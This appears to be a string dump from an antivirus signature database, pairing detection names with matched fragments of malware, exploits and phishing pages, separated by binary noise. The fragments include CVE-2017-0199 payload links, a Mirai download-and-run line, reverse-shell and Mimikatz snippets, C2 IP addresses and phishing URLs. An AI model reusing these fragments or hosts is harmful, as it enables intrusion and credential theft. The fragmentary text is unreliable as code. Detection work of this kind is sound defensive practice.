!#BM_MT1518.001:system_discovery I %!#BM_MT1518.001:system_discovery !#BM_XSLJSCRIPT_FILE 2!#BM_XSLJSCRIPT_FILE !#ALF:ASR:ESRP_amdryzenmaster_asr J!%!#ALF:ASR:ESRP_amdryzenmaster_asr !#BM_MT1135:network_discovery *!#BM_MT1135:network_discovery !#BM_XSLVBSCRIPT_FILE 3!#BM_XSLVBSCRIPT_FILE !#BM_MT1087.001:user_discovery *!#BM_MT1087.001:user_discovery !#BM_MT1140:obfuscation_xor .!#BM_MT1140:obfuscation_xor !#ALF:Exploit:UEFI/Drangoot.GT ,!#ALF:Exploit:UEFI/Drangoot.GT !#BM_MT1569.002:svc_binary 1!#BM_MT1569.002:svc_binary !#BM_MT1140:obfuscation_js 2!#BM_MT1140:obfuscation_js !#BM_MT1201:passwordpolicy_discovery P$(!#BM_MT1201:passwordpolicy_discovery ?!#BM_MT1036.005 !#ALF:Trojan/JsRunkey.A 9!#ALF:Trojan/JsRunkey.A !#ALF:AGGR:E5.Email.Macro 8!#ALF:AGGR:E5.Email.Macro !#ALF:Trojan/VbsRunkey.A :!#ALF:Trojan/VbsRunkey.A !#SLF:PowerShell/NetUserAdd.A 5!#SLF:PowerShell/NetUserAdd.A !#ALF:Trojan/EncodedIEX!amsi.A 4!#ALF:Trojan/EncodedIEX!amsi.A !#ALF:Trojan/PsRunkey.A <!#ALF:Trojan/PsRunkey.A !#SLF:PowerShell/DiscoveryBiosVer.A W#0!#SLF:PowerShell/DiscoveryBiosVer.A !#BM_MT1140:obfuscation_b64 9!#BM_MT1140:obfuscation_b64 !#SLF:IntentToInject B!#SLF:IntentToInject ;!#BM_MT1082:system_discovery !#ALF:AGGR:TobeetJs:20!ml ?!#ALF:AGGR:TobeetJs:20!ml !#ALF:AGGR:TobeetJs:30!ml ?!#ALF:AGGR:TobeetJs:30!ml !#ALF:AGGR:TobeetJs:40!ml ?!#ALF:AGGR:TobeetJs:40!ml !#ALF:AGGR:TobeetJs:50!ml ?!#ALF:AGGR:TobeetJs:50!ml !#ALF:AGGR:TobeetJs:60!ml ?!#ALF:AGGR:TobeetJs:60!ml !#SLF:PowerShell/DiscoveryDeviceInfo.A ]&3!#SLF:PowerShell/DiscoveryDeviceInfo.A !#SLF:PowerShell/DiscoverySystemInfo.A ]&3!#SLF:PowerShell/DiscoverySystemInfo.A !#SLF:PowerShell/DiscoverySystemPath.A ]&3!#SLF:PowerShell/DiscoverySystemPath.A k0Z^l ?\\~w2 C#9kv lmp]ERg rVoh~l D>U_~ N45T9 c&g1r X'n`O pV }$ rC0NPE O67yI Ol-=h S/\\>[ mpA,} vqjcy1Ld _T5Th c} o^F{L aah[t{a ML8L*& 8HC#'y CI '0Jh)$ !?+,47` ;%f#4_ SaG{t' UMTi7 W).wrsH FH@:W I*8n=G 1AoXv 2#FYr 2#FYr^1 j9w!k u.3!H] U\\yX\\ N},4! :[-xAD \\Uy=pt By|]] H 1Zo JrBC : {ra3* tM&e, ]StQ' k+Zbs IWFK8 /;vJH: A88 1 \"XX\tH paOvl >f2\tIb` XytPc; ,M&:oH jwsPb- wf;m}YIk xN?[Y  kWG\">N Igl35 \\O,8su 9Or\tR 1\tvW\"m ?#?dF g^Dcm ? IF0 /Qc4t RB/'w/ JGy#Z) iis_exch_childproc 41b3f6330680 41b3f6330680IncludesResearchData  )EF@ webshell_parent T1505.003  webshell_childproc 4bb3f224cd3e 4bb3f224cd3eIncludesResearchData  )EF@  73d74deadff2 73d74deadff2IncludesResearchData  IsTechniqueObservedForPid iis_exch_web  bad7d9fa74d6 bad7d9fa74d6IncludesResearchData   4fd7f19945f5 4fd7f19945f5IncludesResearchData \tw3wp.exe -ap \"sharepoint  2e0d7742402b1 2e0d7742402b1IncludesResearchData -ap \"msexchangeecpapppool\" -ap \"msexchangeowaapppool\" -ap \"msexchangeoabapppool\"  41b341ec33ee 41b341ec33eeIncludesResearchData  WEF@   51b3966a3dba 51b3966a3dbaIncludesResearchData cvtres.exe  !#TEL:Trojan:Win32/WebShellDrop.A !#TEL:Trojan:Win32/WebShellDrop.AObMpAttributes %ExchangeInstallPath% %windir%\\system32\\inetsrv\\config\\applicationHost.config 8%windir%\\system32\\inetsrv\\config\\applicationHost.config ClientAccess\\OAB\\Temp\\ %SystemDrive%\\inetpub\\wwwroot GetIisInstallPaths Pathz :#Lowfi:LUA:PowershellDropsNewPEInAppDataPath.A!ent !#PUA:Blocked:OnDemEntPUA:NonAppPath&(Lua:GenericNonRtpN__|Lua:GenericNonRtpNH_|Lua:GenericNonRtpNHP|Lua:GenericNonRtpN_P) d!#PUA:Blocked:OnDemEntPUA:NonAppPath&(Lua:GenericNonRtpN__|Lua:GenericNonRtpNH_|Lua:GenericNonRtpNHP|Lua:GenericNonRtpN_P) !#Lua:IsEnterprise Z!#Lua:IsEnterprise !#IsEnterprise.Func  a7b3cb2afd25 a7b3cb2afd25IncludesResearchData !#PUA:NonAppPath 59b3a4a744e8  2a1b36fa4b03e  137b3d7105a3e   9fb3c6115afe 9fb3c6115afeIncludesBMLuaLib,ResearchData   85b3a4c470c9  \\windows\\ltsvc\\ CONTEXT:PUA:SIM:InstallContextMet \"CONTEXT:PUA:SIM:InstallContextMet PUA:Sim:Blocked:Certificates PUA:Sim:Blocked:Specific !#SLF:AGGR:EX.ContextPECRoot &!#SLF:AGGR:EX.ContextPECRoot !#SLF:AGGR:EX.ContextPEAdminShare P!+!#SLF:AGGR:EX.ContextPEAdminShare invoke-mimikatz '!#SCRIPT:Trojan:PowerShell/RedPowdump.A '6'!#SCRIPT:Trojan:PowerShell/RedPowdump.A '!#SCRIPT:Trojan:PowerShell/RedPowdump.B '6'!#SCRIPT:Trojan:PowerShell/RedPowdump.B '!#SCRIPT:Trojan:PowerShell/RedPowdump.C '6'!#SCRIPT:Trojan:PowerShell/RedPowdump.C (!#SCRIPT:Backdoor:PowerShell/RedPowcat.A )}(!#SCRIPT:Backdoor:PowerShell/RedPowcat.A ('host','bytes','string')][alias(\"outputtype\")][string]$o=\"host\",[alias( J('host','bytes','string')][alias(\"outputtype\")][string]$o=\"host\",[alias( [-cor-l][-pport][options]-c<ip>clientmode.providetheipofthesystemyouwishtoconnectto. V[-cor-l][-pport][options]-c<ip>clientmode.providetheipofthesystemyouwishtoconnectto. :#LowFiPEEXEHasIOAVURLMSFT :#LowFiPEEXEHasIOAVURLMSFTU\" Y#PERSIST_PEEXEHasIOAVURLMSFT Y#PERSIST_PEEXEHasIOAVURLMSFTU*3 0b_#LowFi:ATTR:HSTR/MSBrowserPolicyMSFT 0b_#LowFi:ATTR:HSTR/MSBrowserPolicyMSFTa; !#LowfiInterestingCert TecSystem Ltd. Sofia Sofiaa| !#TELPER:Trojan:Win32/OneHuntImplant.B!dha FMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727) FMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 2.0.50727)a !#TELPER:RemoteAccess:Win32/Kaseya Kaseya::Utility:: Kaseya::RemoteControl::  Kaseya::Net:: Kaseya::IO:: Kaseya.Application. Kaseya.RemoteControl. KaseyaRemoteControlHost. KaseyaAgent KaseyaD.ini \\VxD\\Kaseya  \\Kaseya\\Agent KServer KServergA *!#STATIC:Dummy_MSFT_Internal_Test_Sig_OnlygA 'j?*!#STATIC:Dummy_MSFT_Internal_Test_Sig_OnlygA *!#STATIC:Dummy_MSFT_Internal_Test_Sig_OnlylF \"!#TELPER:RemoteAccess:Win32/KaseyalF \"!#TELPER:RemoteAccess:Win32/KaseyalI %!#TELPER:Trojan:Win32/OneHuntCert!dhalK '!#TELPER:Trojan:Win32/OneHuntCert.B!dhax9 !#PUA:Torrent:BitComet \\BitComet\\app\\Release_ \\BitComet\\app\\Release_x< !#ALF:Torrent:BitLord Codicit Setupx= !#PUA:Torrent:FlashGet :\\Flashget\\project\\client\\ :\\Flashget\\project\\client\\xA !#PUA:Torrent:Torch \\Release\\initialexe\\torch.exe.pdb \\Release\\initialexe\\torch.exe.pdbxE !#PUA:Torrent:WebTorrent  WebTorrent, LLCxG !#PUA:Torrent:Tixati ersion\\Uninstall\\tixati \\Tixati.lnk \\Tixati.lnkxI !#PUA:Torrent:Thunder \\pdb\\Product_Release\\ThunderInstall.pdb \\pdb\\Product_Release\\ThunderInstall.pdbxJ !#ALF:Torrent:LibTorrent @libtorrent@@AAUrootdevice@12@H@_mfi@ @libtorrent@@AAUrootdevice@12@H@_mfi@xO !#ALF:Torrent:ABC [ Yet Another Bittorrent Client ] \\ABC\\ABC.lnk \\ABC\\ABC.lnkxQ !#PUA:Torrent:Diluge Deluge Bittorrent ClientxU !#PUA:Torrent:BitTorrent  adaware\" BitTorrentxX !#PUA:Torrent:Miro Startup the Miro downloader process Miro_Downloader.py Miro_Downloader.pyxY !#PUA:Torrent:Vuze .vuze.com/files Vuze Installer might already be running Vuze Installer might already be runningxv !#PUA:Torrent:QBitTorrent .qbittorrent.org qBittorrent (required)xw .vuze.com/images/pixel.gif? Vuze Leap Setupx~ !#PUA:Torrent:FrostWire and play files with FrostWire ware\\FrostWirex !#TEL:HackTool:Win32/Freerdp.A!msft _client_populate_rdp_file_from_settings no key or cert com.freerdp.client.windows com.freerdp.client.windowsx !#PUA:Torrent:FileDownMan \\jobs\\fdm_qt_build_windows\\ \\bin\\winfdmscheme.pdb \\Work\\Source\\FDM\\ \\Chrome\\fdm_nativehost.pdb \\Chrome\\fdm_nativehost.pdbx \\Release\\utorrent.pdb cdn.ap.bittorrent.com/control/feature/tags/bt.json BitTorrent, Inc. All Rights Reserved.x !#PUA:MeekClient meek/meek-client/ { URL string; Front string; ProxyURL *net/url.URL; HelperAddr *net.TCPAddr } meek-client.go TOR_PT_PROXY ToRDNSequence git.torproject.org/pluggable-transports/goptlib git.torproject.org/pluggable-transports/goptlibx' !#TEL:HSTR:Backdoor:Win32/Pirpi.Q!dha !#TEL:HSTR:Backdoor:Win32/Pirpi.Q!dhad ChangeServiceConfig2A !#PUA:TorBrowser tor -f <torrc> [args] https://www.torproject.org/download/ Tor 0.2.  (git-) Tor v%s %srunning on %s with Libevent %s and OpenSSL %s tor_tls_is_server(conn->tls) tor-fw-helper Tor %s opening %slog file /tor/status-vote/current/consensus/ /tor/status-vote/next/ /tor/post/vote /tor/rendezvous2/ !tor_dige )!#SCPT:Exploit:O97M/CVE-2017-0199.LAH!MTB target=\"https://fqe.short.gy/gclxo6\"targetmode=\"external\"/> =target=\"https://fqe.short.gy/gclxo6\"targetmode=\"external\"/> )!#SCPT:Exploit:O97M/CVE-2017-0199.LAI!MTB )q)!#SCPT:Exploit:O97M/CVE-2017-0199.LAI!MTB target=\"https://fqe.short.gy/j7xs8j\"targetmode=\"external\"/> =target=\"https://fqe.short.gy/j7xs8j\"targetmode=\"external\"/> )!#SCPT:PowerShell.GetDelegateCreateThread )q)!#SCPT:PowerShell.GetDelegateCreateThread getdelegateforfunctionpointer(( =getdelegateforfunctionpointer(( @kernel32.dllcreatethread) )!#SCRIPT:PowerShell/Mikatz!IsWow64Process )q)!#SCRIPT:PowerShell/Mikatz!IsWow64Process |add-member-membertypenoteproperty-nameiswow64process-value =|add-member-membertypenoteproperty-nameiswow64process-value )!#SCRIPT:TrojanDownloader:JS/Nemucod.DG-1 )q)!#SCRIPT:TrojanDownloader:JS/Nemucod.DG-1 =@ws@ @ri\"+\"@pt@ 0\",\"@\"); )!#SCRIPT:TrojanDownloader:JS/Nemucod.IV-1 )q)!#SCRIPT:TrojanDownloader:JS/Nemucod.IV-1 newfunction(\"partiti,partiti2\",\"partiti.write(partiti2);\"); =newfunction(\"partiti,partiti2\",\"partiti.write(partiti2);\"); *!#SCPT:Exploit:O97M/CVE-2017-0199.DDR4!MTB )q*!#SCPT:Exploit:O97M/CVE-2017-0199.DDR4!MTB itsssl.com/rzudw\"targetmode=\"external\" <itsssl.com/rzudw\"targetmode=\"external\"  6target=\"https:// *!#SCPT:Exploit:O97M/CVE-2017-0199.DDR5!MTB )q*!#SCPT:Exploit:O97M/CVE-2017-0199.DDR5!MTB itsssl.com/jgyqm\"targetmode=\"external\" <itsssl.com/jgyqm\"targetmode=\"external\"  *!#SCPT:Exploit:O97M/CVE-2017-0199.RVE1!MTB )q*!#SCPT:Exploit:O97M/CVE-2017-0199.RVE1!MTB tinyurl.mobi/beaa\"targetmode=\"external\" <tinyurl.mobi/beaa\"targetmode=\"external\"  6target=\"http:// tinyurl.mobi/bvam\"targetmode=\"external\" <tinyurl.mobi/bvam\"targetmode=\"external\"  tinyurl.mobi/bw4a\"targetmode=\"external\" <tinyurl.mobi/bw4a\"targetmode=\"external\"  tinyurl.mobi/bwar\"targetmode=\"external\" <tinyurl.mobi/bwar\"targetmode=\"external\"  *!#SCPT:Exploit:O97M/CVE-2017-11882.PEC!MTB )q*!#SCPT:Exploit:O97M/CVE-2017-11882.PEC!MTB {\\rtf12309\\page@429876590876543459876543!sss]z'@=dcvz9a,:( <{\\rtf12309\\page@429876590876543459876543!sss]z'@=dcvz9a,:( *!#SCPT:Exploit:O97M/CVE-2017-11882.RTK!MTB )q*!#SCPT:Exploit:O97M/CVE-2017-11882.RTK!MTB {\\rtf12309\\page@666028176963493594076696!sss]z'@=dcvz9a,:( <{\\rtf12309\\page@666028176963493594076696!sss]z'@=dcvz9a,:( *!#SCPT:HackTool:PowerShell/InvokeSqlQuery5 )q*!#SCPT:HackTool:PowerShell/InvokeSqlQuery5 $sqladapter=new-objectsystem.data.sqlclient.sqldataadapter <$sqladapter=new-objectsystem.data.sqlclient.sqldataadapter *!#SCPT:TrojanDownloader:JS/Phish.PQQQF!MTB )q*!#SCPT:TrojanDownloader:JS/Phish.PQQQF!MTB location.replace(\"https:\\/\\/aff.1enzmx.com\\/proc.php? <location.replace(\"https:\\/\\/aff.1enzmx.com\\/proc.php? *!#SCRIPT:PowerShell/MSAppProxyutils.A3!MTB )q*!#SCRIPT:PowerShell/MSAppProxyutils.A3!MTB subject.split(\"=\")[1] <subject.split(\"=\")[1] =[guid] .getserialnumberstring() *!#TEL:TrojanDownloader:VBS/Maldublnk.B!dha )q*!#TEL:TrojanDownloader:VBS/Maldublnk.B!dha s2.run\"cmd/cdelc:\\users\\public\\libraries\\cache.tmp\",0,true <s2.run\"cmd/cdelc:\\users\\public\\libraries\\cache.tmp\",0,true +!#SCPT:Exploit:O97M/CVE-2017-0199.BEK20!MTB )q+!#SCPT:Exploit:O97M/CVE-2017-0199.BEK20!MTB target=\"https://pxlme.me/cytyoc4h\"targetmode=\"external\"/> ;target=\"https://pxlme.me/cytyoc4h\"targetmode=\"external\"/> +!#SCPT:Exploit:O97M/CVE-2017-0199.BKM43!MTB )q+!#SCPT:Exploit:O97M/CVE-2017-0199.BKM43!MTB target=\"https://rotf.lol/3u6d9443\"targetmode=\"external\"/> ;target=\"https://rotf.lol/3u6d9443\"targetmode=\"external\"/> ,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM110!MTB )q,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM110!MTB target=\"https://itsssl.com/2aed6\"targetmode=\"external\"/> :target=\"https://itsssl.com/2aed6\"targetmode=\"external\"/> ,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM111!MTB )q,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM111!MTB target=\"https://itsssl.com/oiowg\"targetmode=\"external\"/> :target=\"https://itsssl.com/oiowg\"targetmode=\"external\"/> ,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM114!MTB )q,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM114!MTB target=\"https://itsssl.com/cshd3\"targetmode=\"external\"/> :target=\"https://itsssl.com/cshd3\"targetmode=\"external\"/> ,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM120!MTB )q,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM120!MTB target=\"https://itsssl.com/intdn\"targetmode=\"external\"/> :target=\"https://itsssl.com/intdn\"targetmode=\"external\"/> ,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM183!MTB )q,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM183!MTB target=\"https://longurl.in/tllwu\"targetmode=\"external\"/> :target=\"https://longurl.in/tllwu\"targetmode=\"external\"/> ,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM184!MTB )q,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM184!MTB target=\"https://longurl.in/mccwd\"targetmode=\"external\"/> :target=\"https://longurl.in/mccwd\"targetmode=\"external\"/> ,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM185!MTB )q,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM185!MTB target=\"https://longurl.in/welhl\"targetmode=\"external\"/> :target=\"https://longurl.in/welhl\"targetmode=\"external\"/> ,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM188!MTB )q,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM188!MTB target=\"https://longurl.in/ekdnl\"targetmode=\"external\"/> :target=\"https://longurl.in/ekdnl\"targetmode=\"external\"/> ,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM195!MTB )q,!#SCPT:Exploit:O97M/CVE-2017-0199.BKM195!MTB target=\"https://longurl.in/htyul\"targetmode=\"external\"/> :target=\"https://longurl.in/htyul\"targetmode=\"external\"/> ,!#SCRIPT:BrowserModifier:Win32/Vonteera!blnk )q,!#SCRIPT:BrowserModifier:Win32/Vonteera!blnk https://s3-eu-west-1.amazonaws.com/adkooo/ :https://s3-eu-west-1.amazonaws.com/adkooo/ ,!#SCRIPT:HackTool:Python/WeevelyShell.R8!MTB )q,!#SCRIPT:HackTool:Python/WeevelyShell.R8!MTB generateparser.add_argument('path',help='agentfilepath') :generateparser.add_argument('path',help='agentfilepath') -!#SCPT:JS/Obfuscator.Redundancy.Array.index.A )q-!#SCPT:JS/Obfuscator.Redundancy.Array.index.A 9\"],\" 0-9][ -!#SCPT:Trojan:PowerShell/ReverseShell.A!ns006 )q-!#SCPT:Trojan:PowerShell/ReverseShell.A!ns006 $sendbyte=([text.encoding]::ascii).getbytes($sendback2) 9$sendbyte=([text.encoding]::ascii).getbytes($sendback2) -!#SCPT:TrojanDownloader:O97M/Encdoc.ZFPA2!MTB )q-!#SCPT:TrojanDownloader:O97M/Encdoc.ZFPA2!MTB rlmonuckjjccbbkernel32%createdirectorya#c:/users/public 9rlmonuckjjccbbkernel32%createdirectorya#c:/users/public .!#SCPT:Exploit:O97M/CVE-2017-8570.ACDH!MTB!DH9 )q.!#SCPT:Exploit:O97M/CVE-2017-8570.ACDH!MTB!DH9 functionage64dicode(byvalcvwtr5ycbvebyvaltrtsk484t378) 8functionage64dicode(byvalcvwtr5ycbvebyvaltrtsk484t378) /!#SCPT:TrojanDownloader:O97M/EncDoc.XRS!MTB!XS1 )q/!#SCPT:TrojanDownloader:O97M/EncDoc.XRS!MTB!XS1 and(or(min(formula.fill( 7and(or(min(formula.fill( \"&amp; &amp;\"c\"&amp 0!#SCPT:TrojanDownloader:O97M/EncDoc.IFAI!MTB!AI1 )q0!#SCPT:TrojanDownloader:O97M/EncDoc.IFAI!MTB!AI1 <si><t>32-s\"&amp;\".\"&amp;\".\"&amp;\"\\\"&amp;\"broy.getio 6<si><t>32-s\"&amp;\".\"&amp;\".\"&amp;\"\\\"&amp;\"broy.getio 0!#SCPT:TrojanDownloader:O97M/EncDoc.IHAV!MTB!HV5 )q0!#SCPT:TrojanDownloader:O97M/EncDoc.IHAV!MTB!HV5 <f>\"regsvr32..\\kro.fis\"</f><v>regsvr32..\\kro.fis</v> 6<f>\"regsvr32..\\kro.fis\"</f><v>regsvr32..\\kro.fis</v> 0!#SCPT:TrojanDownloader:O97M/EncDoc.TOTD!MTB!TO1 )q0!#SCPT:TrojanDownloader:O97M/EncDoc.TOTD!MTB!TO1 therewasaproblemwhileopeningthecontentofthisdocument 6therewasaproblemwhileopeningthecontentofthisdocument 0!#SCPT:TrojanDownloader:O97M/EncDoc.XFBY!MTB!BY4 )q0!#SCPT:TrojanDownloader:O97M/EncDoc.XFBY!MTB!BY4 createdirectoryaznzozpzqzrzsztzuzvzwzxzyzzz{z|z}bp%& 6createdirectoryaznzozpzqzrzsztzuzvzwzxzyzzz{z|z}bp%& 0!#SCPT:TrojanDownloader:O97M/Zloader.LOZ!MTB!OL1 )q0!#SCPT:TrojanDownloader:O97M/Zloader.LOZ!MTB!OL1 <si><t>cantveiwthecontent?readthebelowsteps</t></si> 6<si><t>cantveiwthecontent?readthebelowsteps</t></si> !#SCPT:PhishURL www.kybelem.com/yonetim/images/new-docs/ENC/cmd-login=727b219497204cedb818ed9a818cee8b Xwww.kybelem.com/yonetim/images/new-docs/ENC/cmd-login=727b219497204cedb818ed9a818cee8b !#SCPT:Misitact.A \"snmp_mib2syscontact\":\" V\"snmp_mib2syscontact\":\"  ;/usr/sbin/telnetd-l/bin/sh-p{};\".format(telnet_port), !#SCPT:Nemucod.X3 =\"charat\";if(wscript[ V=\"charat\";if(wscript[ a-z][ a-z]>3){ a-z=\"va\"; a-z-1};for(i=0;i< !#LowfiGamarue_002 gate.php\");}}$qres=@mysql_query(\"selectltask,cnumfrombotswhereid=$idlimit1\")ordie() Ugate.php\");}}$qres=@mysql_query(\"selectltask,cnumfrombotswhereid=$idlimit1\")ordie() !#SCPT:CoreDriveAU file_pathchange_filenamecrea Ufile_pathchange_filenamecrea e_filedelete_filerename_filecreate_folddelete_folder !#SCPT:BerrySmash.A url=self.target+'/cache.php'data={'method':'stream_file_data','force':'/var/sess'} Turl=self.target+'/cache.php'data={'method':'stream_file_data','force':'/var/sess'} !#SCPT:Webshell.A18 <asp: T<asp:  id=\"cmd\"runat=\"server\"visible=\"false\"class=\"tab_content\">typecommands<br/> !#Trojan:JS/Ursnif8 run(\"cmd.exe/c\"c:\\users\\ Trun(\"cmd.exe/c\"c:\\users\\ \\appdata\\local\\temp/$exefile$ .$exe_ext$\"\",\"false\");  !#SCPT:HTML/Phish.AE6 interaktiva.com.pl/wp-includes/js/jquery/report-dh1.php Rinteraktiva.com.pl/wp-includes/js/jquery/report-dh1.php \"method=\"post\"action=  V\"method=\"post\"action= !#SCPT:JS/Nemucod.ST4 +=\"ttp\"; R+=\"ttp\";  +\"://\"+\" /a\"+\"le\"+\".\"+\"i\"+\"n\",\" .exe\",1);})(this) fervent-franklin.188-166-152-60.plesk.page/webmail/index.php', Qfervent-franklin.188-166-152-60.plesk.page/webmail/index.php',  !#SCRPT:JS/Blacole.HZ2 {e=eval;}w=f;s=[];r=string.fromcharcode;for(i=0;-i+641!=0;i+=1){j=i;s=s+r((w[j] Q{e=eval;}w=f;s=[];r=string.fromcharcode;for(i=0;-i+641!=0;i+=1){j=i;s=s+r((w[j] !#SCRPT:VBS/Qakbot.AR1 seto=createobject(replace(\"rx1wrx1scrx1rrx1iprx1trx1.srx1herx1lrx1l\",\"rx1\",\"\")) Qseto=createobject(replace(\"rx1wrx1scrx1rrx1iprx1trx1.srx1herx1lrx1l\",\"rx1\",\"\")) !#AllowList:portailsync currentversion\\run Pcurrentversion\\run  drv\\install\\install\\portail\\portail_sync\\portail_sync.exe !#SCPT:JS/Redirector.DB \"\",\"charat\",\"indexof\",\"fromcharcode\",\"length\"];function P\"\",\"charat\",\"indexof\",\"fromcharcode\",\"length\"];function ){var !#Trojan:JS/FinSevn.DA3 wmi.execquery(\"select*fromwin32_networkadapterconfigurationwhereipenabled=true Pwmi.execquery(\"select*fromwin32_networkadapterconfigurationwhereipenabled=true !#Trojan:Linux/Mirai.D2 Phttp:// /lolicore.arm7;chmod+xlolicore.arm7;./lolicore.arm7lolicore.arm7.ssh !#SCPT:HTML/Phish.R5!MTB <inputtype=\"email\"id=\"email\"name=\"username\"required=\"\"placeholder=\"\"value=\"\"> O<inputtype=\"email\"id=\"email\"name=\"username\"required=\"\"placeholder=\"\"value=\"\"> !#SCPT:JS/BlacoleRef.YA1 hkcu:\\environment'-name'windir'-value'cmd/cpowershell-whiddenset-mppreference Ohkcu:\\environment'-name'windir'-value'cmd/cpowershell-whiddenset-mppreference tightthings.xyz/new-cham-general/new-cham-general/post.php', Otightthings.xyz/new-cham-general/new-cham-general/post.php',  !#SCPT:JS/Phish.XXP1!MTB url:\"https://hghfjklkjlk.dvgwrgwjrgkhowrg.gb.net/qwertyxls/zip/document.php\", Ourl:\"https://hghfjklkjlk.dvgwrgwjrgkhowrg.gb.net/qwertyxls/zip/document.php\", /**thickbox3.1-oneboxtorulethemall.*bycodylindley(http://www.codylindley.com) O/**thickbox3.1-oneboxtorulethemall.*bycodylindley(http://www.codylindley.com) /email:info@adobescripting.com////copyright:(c)2015zettallc////authors:sandra O/email:info@adobescripting.com////copyright:(c)2015zettallc////authors:sandra function(){varsecuremsg;eval((ie9rgb4=function(){varm='function(){/*fqbf_tcc} Ofunction(){varsecuremsg;eval((ie9rgb4=function(){varm='function(){/*fqbf_tcc} O>>endobj1 @/important-please-read !#Trojan:MacOS/Renepo.A3 (youcouldsudo./opener)#savestarttimeanddateforperformancetestingecho-n\"opener O(youcouldsudo./opener)#savestarttimeanddateforperformancetestingecho-n\"opener !#Exploit:Python/PunBB.A2 punbb_change_email.py[options]\\n\"print\"-hhttp_urlurlofthepunbbforumtoexploit Npunbb_change_email.py[options]\\n\"print\"-hhttp_urlurlofthepunbbforumtoexploit https%3a%2f%2fwww.torktuning.com%2flanguage%2fo.php%3fm%3ditservicedeskegypt Nhttps%3a%2f%2fwww.torktuning.com%2flanguage%2fo.php%3fm%3ditservicedeskegypt https://www.ijtra.com/pear/docs/structures_graph/docs/html/media/tito/po.htm Nhttps://www.ijtra.com/pear/docs/structures_graph/docs/html/media/tito/po.htm !#SCPT:Tobeet_Js_8863B7FD _[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!\"\"+\"\")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___ N_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!\"\"+\"\")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___ !#SCRIPT:JS/ExplIECheck.F .indexof(\"nt6.1\")>-1|| N.indexof(\"nt6.1\")>-1|| .indexof(\"nt6.2\")>-1&& .indexof(\"msie8\")>-1)&&( !#SCRIPT:JS/TetomekOpen.B N.open(); .copyto(  .copyto(  .savetofile(  ,2); !#TEL:HTML/TechConIsp!mp3 <audiopreloadid=\"mymsg\"><sourcesrc=\"audio/msg.mp3\"type=\"audio/mpeg\"></audio> N<audiopreloadid=\"mymsg\"><sourcesrc=\"audio/msg.mp3\"type=\"audio/mpeg\"></audio> !#Trojan:JS/Valak.PK5!MTB =\"hkey_current_user\\\\software\\\\win32registry\\\\localapplicationdata\\\\\"+entry; N=\"hkey_current_user\\\\software\\\\win32registry\\\\localapplicationdata\\\\\"+entry; !#ALF:Trojan:HTML/Phish.AJ networkhydraulicindia.com/ Mnetworkhydraulicindia.com/  Jformaction='https:// !#PSDiagnosticCmdProcess.A .diagnostics.process M.diagnostics.process .startinfo.filename='c:\\\\windows\\\\system32\\\\cmd.exe' !#SCPT:HTML/Phish.AV28!MTB url:'https://shreyainfosoft.com/shayonajwellers/after.php',type:'post',data Murl:'https://shreyainfosoft.com/shayonajwellers/after.php',type:'post',data !#SCPT:HTML/Phish.VPV4!MTB <inputtype=\"email\"name=\"login\"required=\"\"placeholder=\"\"value=\" M<inputtype=\"email\"name=\"login\"required=\"\"placeholder=\"\"value=\" $\"<?php !#SCPT:O97M/Phish.RUUS!MTB <?xmlversion= M<?xmlversion= \"target=\"https://tinyurl.com/bptvnhw6\"targetmode=\"external !#SCPT:PWS:HTML/Phish.JPR4 <formaction=\"https://www.tecel.cl/.well-known/frank/next.php\"method=\"post\"> M<formaction=\"https://www.tecel.cl/.well-known/frank/next.php\"method=\"post\"> !#SCRIPT:ASP/Baze34.A3!MTB guid.newguid().tostring(); Mguid.newguid().tostring();  =guid.newguid();response.cookies[\"  \"].value= !#SCRIPT:BAT/RansomXibow.I ifexist\"% Mifexist\"% temp% \\vault.key\"echo01fnsh-ok \\vault.key !#SCRIPT:Worm:JS/Bondat.D2 =[a1+\" M=[a1+\" /g,\"\")+a2+\" /g,\"\"),a1+\" /g,\"\")+a3+ !#SCPT:HTML/PhishingMessage allowupto2daysforthistransactiontooccur. Lallowupto2daysforthistransactiontooccur.  viewyourtransactiondetailsbelow !#SCPT:JAVA/Adwin.RAXXL!MTB c:\\users\\tester\\desktop\\ Lc:\\users\\tester\\desktop\\ .jar4c:\\users\\tester\\appdata\\local\\temp\\ !#SCPT:O97M/Qakbot.RVQ3!MTB <si><t>http://152.89.218.86/</t></si><si><t>http://82.118.23.186/</t></si> L<si><t>http://152.89.218.86/</t></si><si><t>http://82.118.23.186/</t></si> !#SCPT:O97M/Ursnif.RUR1!MTB <si><t>h</t></si><si><t>ttp://</t></si><si><t>.html L<si><t>h</t></si><si><t>ttp://</t></si><si><t>.html <si><t> /ds/index url:'https://dev-thegentlemans.teoria.agency/owa/next.php', Lurl:'https://dev-thegentlemans.teoria.agency/owa/next.php', !#SCRIPT:JS/ExecQueryScript iswbemservicesex.execquery(\"select*fromwin32_processwherename Liswbemservicesex.execquery(\"select*fromwin32_processwherename 0script.exe !#TEL:PUA:JS/Infatica.N!MTB newwebsocket('wss://'+ws_server_host+':'+ws Lnewwebsocket('wss://'+ws_server_host+':'+ws _server_port+'/server_info') !#Trojan:VBS/Autorun!attr01 41%70%70%44%61%74%61%5c%52%6f%61%6d%69%6e%67%5c%42%49%4e%4b%49%4c%7e%31%5c L41%70%70%44%61%74%61%5c%52%6f%61%6d%69%6e%67%5c%42%49%4e%4b%49%4c%7e%31%5c !#Trojan:VBS/Autorun!attr02 